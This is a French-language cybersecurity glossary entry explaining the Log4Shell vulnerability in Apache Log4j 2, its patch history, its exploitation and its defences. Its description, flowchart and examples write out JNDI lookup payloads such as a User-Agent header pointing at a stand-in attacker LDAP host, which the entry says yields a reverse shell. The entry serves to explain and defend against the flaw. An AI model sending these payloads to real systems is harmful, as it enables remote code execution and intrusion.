Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 704

Log4Shell (CVE-2021-44228)

Vérifié parCybersecurity entrepreneur & security researcher

Qu'est-ce que Log4Shell (CVE-2021-44228) ?

Log4Shell (CVE-2021-44228)Vulnérabilité critique d'exécution de code à distance révélée en décembre 2021 dans Apache Log4j 2, qui permettait aux attaquants d'exécuter du code arbitraire en faisant journaliser une simple chaîne de lookup JNDI.


Log4Shell est une vulnérabilité CVSS 10.0 d'Apache Log4j 2 (versions 2.0-beta9 à 2.14.1), signalée à Apache par Chen Zhaojun d'Alibaba Cloud et divulguée publiquement le 9 décembre 2021. La fonctionnalité de message lookup de Log4j évaluait les expressions ${...} à l'intérieur des chaînes de log ; une valeur ${jndi:ldap://attacker/x} poussait la JVM à effectuer un lookup JNDI, à récupérer une classe Java distante et à la désérialiser — aboutissant à l'exécution de code à distance. Comme Log4j est embarqué dans d'innombrables applications et appliances Java, toute valeur contrôlée par l'attaquant atteignant un log (User-Agent, champ de recherche, nom de fichier, voire le nom d'appareil d'un iPhone) devenait un déclencheur.

L'application des correctifs a été une course en plusieurs étapes : 2.15.0 désactivait les lookups mais restait incomplète (CVE-2021-45046), 2.16.0 a supprimé les message lookups, 2.17.0 a corrigé un déni de service (CVE-2021-45105) et 2.17.1 a traité CVE-2021-44832 — la version corrigée recommandée pour Java 8. L'exploitation de masse a débuté en quelques heures ; la CISA l'a ajoutée à son catalogue KEV et elle a été abusée par des groupes de ransomware ainsi que par l'acteur étatique iranien à l'origine d'intrusions dans des réseaux américains. Défenses : mettre à jour vers 2.17.1+ (ou 2.12.4 / 2.3.2 pour les anciennes versions de Java), définir log4j2.formatMsgNoLookups=true, retirer la classe JndiLookup, bloquer le trafic sortant LDAP/RMI et utiliser un SBOM pour localiser chaque copie embarquée.

flowchart TD
  A[Attaquant] -->|"entrée : ${jndi:ldap://evil/x}"| B[L'application Java journalise la chaîne]
  B --> C[Log4j évalue le lookup]
  C --> D[Requête JNDI vers le serveur LDAP de l'attaquant]
  D --> E[Le serveur renvoie l'URL d'une classe Java malveillante]
  E --> F[La JVM télécharge & désérialise la classe]
  F --> G[Exécution de code à distance]

Exemples

  1. 01

    Envoyer User-Agent: ${jndi:ldap://attacker.com/x} à une application web Java et obtenir un reverse shell.

  2. 02

    Exploiter un service Java interne en faisant journaliser une valeur malveillante saisie dans un champ de nom d'utilisateur.

Questions fréquentes

Qu'est-ce que Log4Shell (CVE-2021-44228) ?

Vulnérabilité critique d'exécution de code à distance révélée en décembre 2021 dans Apache Log4j 2, qui permettait aux attaquants d'exécuter du code arbitraire en faisant journaliser une simple chaîne de lookup JNDI. Cette notion relève de la catégorie Vulnérabilités en cybersécurité.

Que signifie Log4Shell (CVE-2021-44228) ?

Vulnérabilité critique d'exécution de code à distance révélée en décembre 2021 dans Apache Log4j 2, qui permettait aux attaquants d'exécuter du code arbitraire en faisant journaliser une simple chaîne de lookup JNDI.

Comment se défendre contre Log4Shell (CVE-2021-44228) ?

Les défenses contre Log4Shell (CVE-2021-44228) combinent habituellement des contrôles techniques et des pratiques opérationnelles, comme détaillé dans la définition ci-dessus.

Quels sont les autres noms de Log4Shell (CVE-2021-44228) ?

Noms alternatifs courants : CVE-2021-44228, Vulnérabilité Log4j.

Termes liés

Voir aussi